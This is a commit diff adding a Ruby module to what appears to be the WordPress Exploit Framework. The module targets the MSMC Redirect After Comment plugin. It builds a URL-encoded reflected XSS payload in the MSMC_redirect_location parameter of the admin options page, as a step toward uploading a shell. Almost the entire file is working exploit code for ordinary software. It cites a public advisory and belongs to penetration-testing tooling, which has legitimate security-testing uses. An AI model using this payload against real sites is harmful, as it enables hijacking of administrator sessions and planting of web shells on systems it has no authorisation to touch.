Add MSMC Redirect After Comment reflected XSS shell upload

Author: rastating

modules/exploits/msmc_redirect_after_comment_reflected_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+class Wpxf::Exploit::MsmcRedirectAfterCommentReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'MSMC - Redirect After Comment Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8809'],
+        ['URL', 'https://security.dxw.com/advisories/csrf-stored-xss-in-msmc-redirect-after-comment/']
+      ],
+      date: 'May 08 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('msmc-redirect-after-comment')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php')
+  end
+
+  def xss_payload
+    "#{url_encode(normalize_uri(full_uri, '/?'))}%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=msmc-comment-redirect&action=1&MSMC_redirect_location=#{xss_payload}"
+  end
+end